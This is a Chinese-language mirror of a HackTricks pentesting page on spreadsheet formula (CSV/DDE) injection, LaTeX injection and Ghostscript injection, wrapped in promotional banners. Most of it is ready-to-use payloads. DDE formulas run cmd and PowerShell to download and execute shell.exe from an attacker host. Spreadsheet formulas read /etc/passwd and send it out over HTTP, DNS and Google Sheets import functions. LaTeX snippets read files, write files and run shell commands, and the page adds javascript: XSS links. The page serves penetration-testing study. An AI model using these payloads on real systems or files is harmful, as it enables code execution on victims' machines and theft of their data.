mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
246 lines
12 KiB
Markdown
246 lines
12 KiB
Markdown
# 公式/CSV/Doc/LaTeX/GhostScript 注入
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
找到对您最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## 公式注入
|
||
|
||
### 信息
|
||
|
||
如果您的**输入**在**CSV 文件**中被**反映**(或任何可能会被 **Excel** 打开的其他文件),您可能能够放置 Excel **公式**,当用户**打开文件**或当用户在 excel 表格内**点击某个链接**时将会**执行**这些公式。
|
||
|
||
{% hint style="danger" %}
|
||
如今,**Excel 会提醒**(多次)**用户当从 Excel 外部加载内容时**,以防止他执行恶意操作。因此,对最终有效载荷必须应用特别的社会工程学努力。
|
||
{% endhint %}
|
||
|
||
### [词表](https://github.com/payloadbox/csv-injection-payloads)
|
||
```
|
||
DDE ("cmd";"/C calc";"!A0")A0
|
||
@SUM(1+9)*cmd|' /C calc'!A0
|
||
=10+20+cmd|' /C calc'!A0
|
||
=cmd|' /C notepad'!'A1'
|
||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||
```
|
||
### 超链接
|
||
|
||
**以下示例非常有用,可以从最终的Excel表格中泄露内容,并执行对任意位置的请求。但它要求用户点击链接(并接受警告提示)。**
|
||
|
||
示例取自 [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||
|
||
假设一个学校的学生记录管理系统的攻击场景。该应用程序允许教师输入学校学生的详细信息。攻击者获取了应用程序的访问权限,并希望使用该应用程序的所有教师都受到威胁。因此,攻击者尝试通过Web应用程序执行CSV注入攻击。\
|
||
攻击者需要窃取其他学生的详细信息。因此,攻击者在输入学生详细信息时使用超链接公式。
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
|
||
|
||
当教师导出CSV并点击超链接时,敏感数据被发送到攻击者的服务器。
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
|
||
|
||
导出的CSV文件包含恶意载荷。
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
|
||
|
||
学生的详细信息记录在攻击者的Web服务器中。
|
||
|
||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
|
||
|
||
### RCE
|
||
|
||
要使此示例工作,**需要启用以下配置**:\
|
||
文件 → 选项 → 信任中心 → 信任中心设置 → 外部内容 → 启用动态数据交换服务器启动\
|
||
或使用**旧版本的Excel**。
|
||
|
||
好消息是,**当文件打开时,这个载荷会自动执行**(如果用户接受警告)。
|
||
|
||
可以使用以下载荷执行计算器 **`=cmd|' /C calc'!xxx`**
|
||
|
||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||
|
||
### 更多
|
||
```bash
|
||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||
```
|
||
### LFI
|
||
|
||
**LibreOffice Calc**
|
||
|
||
* 读取本地 /etc/passwd 文件的第一行:`='file:///etc/passwd'#$passwd.A1`
|
||
* 泄露它:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||
* 泄露多行:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||
* DNS 泄露:`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||
|
||
**分析 DNS 泄露载荷:**
|
||
|
||
* ‘file:///etc/passwd’#$passwd.A19 – 将读取本地 /etc/passwd 文件的第19行
|
||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – 对返回的数据进行URL编码
|
||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – 类似于子字符串,从第1个字符读取到第41个字符 - 这是限制 DNS 主机名长度的非常方便的方法(FQDN 的限制是254个字符,标签即子域的限制是63个字符)
|
||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – 将所有的 %(URL编码中的特殊字符)替换为破折号 - 这是确保只使用有效的 DNS 字符
|
||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – 将文件输出(经过上述处理后)与 FQDN(我们可以访问的域的权威主机)连接起来
|
||
* WEBSERVICE – 将会对这个不存在的 DNS 名称发出请求,我们可以在我们控制的 DNS 权威名称服务器上解析日志(或运行 tcpdump 等)
|
||
|
||
### Google Sheets OOB 数据泄露
|
||
|
||
首先,让我们介绍一些更有趣的函数。
|
||
|
||
**CONCATENATE**: 将字符串连接在一起。
|
||
```
|
||
=CONCATENATE(A2:E2)
|
||
```
|
||
**IMPORTXML**:导入来自各种结构化数据类型的数据,包括XML、HTML、CSV、TSV以及RSS和ATOM XML feeds。
|
||
```
|
||
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
|
||
```
|
||
**IMPORTFEED**:导入RSS或ATOM feed。
|
||
```
|
||
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
|
||
```
|
||
**IMPORTHTML**:从HTML页面中的表格或列表导入数据。
|
||
```
|
||
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
|
||
```
|
||
**IMPORTRANGE**:从指定的电子表格中导入一个单元格范围。
|
||
```
|
||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||
```
|
||
**IMAGE**: 将图像插入单元格。
|
||
```
|
||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||
```
|
||
## LaTeX 注入
|
||
|
||
通常,您在互联网上找到的**将 LaTeX 代码转换为 PDF** 的服务器使用 **`pdflatex`**。\
|
||
这个程序使用 3 个主要属性来(不)允许命令执行:
|
||
|
||
* **`--no-shell-escape`**: **禁用** `\write18{command}` 构造,即使它在 texmf.cnf 文件中被启用。
|
||
* **`--shell-restricted`**: 与 `--shell-escape` 相同,但**限制**于一组'安全'的**预定义**\*\*命令 (\*\*在 Ubuntu 16.04 上,列表位于 `/usr/share/texmf/web2c/texmf.cnf`)。
|
||
* **`--shell-escape`**: **启用** `\write18{command}` 构造。命令可以是任何 shell 命令。出于安全原因,通常不允许使用此构造。
|
||
|
||
然而,还有其他方法可以执行命令,因此为了避免 RCE,使用 `--shell-restricted` 非常重要。
|
||
|
||
### 读取文件 <a href="#read-file" id="read-file"></a>
|
||
|
||
您可能需要调整注入,使用包装器如 \[ 或 $。
|
||
```bash
|
||
\input{/etc/passwd}
|
||
\include{password} # load .tex file
|
||
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
||
\usepackage{verbatim}
|
||
\verbatiminput{/etc/passwd}
|
||
```
|
||
#### 读取单行文件
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/issue
|
||
\read\file to\line
|
||
\text{\line}
|
||
\closein\file
|
||
```
|
||
#### 读取多行文件
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/passwd
|
||
\loop\unless\ifeof\file
|
||
\read\file to\fileline
|
||
\text{\fileline}
|
||
\repeat
|
||
\closein\file
|
||
```
|
||
### 写文件 <a href="#write-file" id="write-file"></a>
|
||
```bash
|
||
\newwrite\outfile
|
||
\openout\outfile=cmd.tex
|
||
\write\outfile{Hello-world}
|
||
\closeout\outfile
|
||
```
|
||
### 命令执行 <a href="#command-execution" id="command-execution"></a>
|
||
|
||
命令的输入将被重定向到stdin,使用临时文件来获取它。
|
||
```bash
|
||
\immediate\write18{env > output}
|
||
\input{output}
|
||
|
||
\input{|"/bin/hostname"}
|
||
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
||
|
||
# allowed mpost command RCE
|
||
\documentclass{article}\begin{document}
|
||
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
||
\end{document}
|
||
|
||
# If mpost is not allowed there are other commands you might be able to execute
|
||
## Just get the version
|
||
\input{|"bibtex8 --version > /tmp/b.tex"}
|
||
## Search the file pdfetex.ini
|
||
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
||
## Get env var value
|
||
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||
```
|
||
如果您遇到任何LaTex错误,请考虑使用base64来获取没有错误字符的结果。
|
||
```bash
|
||
\immediate\write18{env | base64 > test.tex}
|
||
\input{text.tex}
|
||
```
|
||
|
||
```bash
|
||
\input|ls|base4
|
||
\input{|"/bin/hostname"}
|
||
```
|
||
### 跨站脚本攻击 <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||
|
||
来自 [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||
```bash
|
||
\url{javascript:alert(1)}
|
||
\href{javascript:alert(1)}{placeholder}
|
||
```
|
||
## Ghostscript 注入
|
||
|
||
TODO: 从 [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) 创建一个摘要,包含最相关的信息和技术。
|
||
|
||
## 参考资料
|
||
|
||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||
|
||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
找到对你最重要的漏洞,以便更快修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,在你的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧**。
|
||
|
||
</details>
|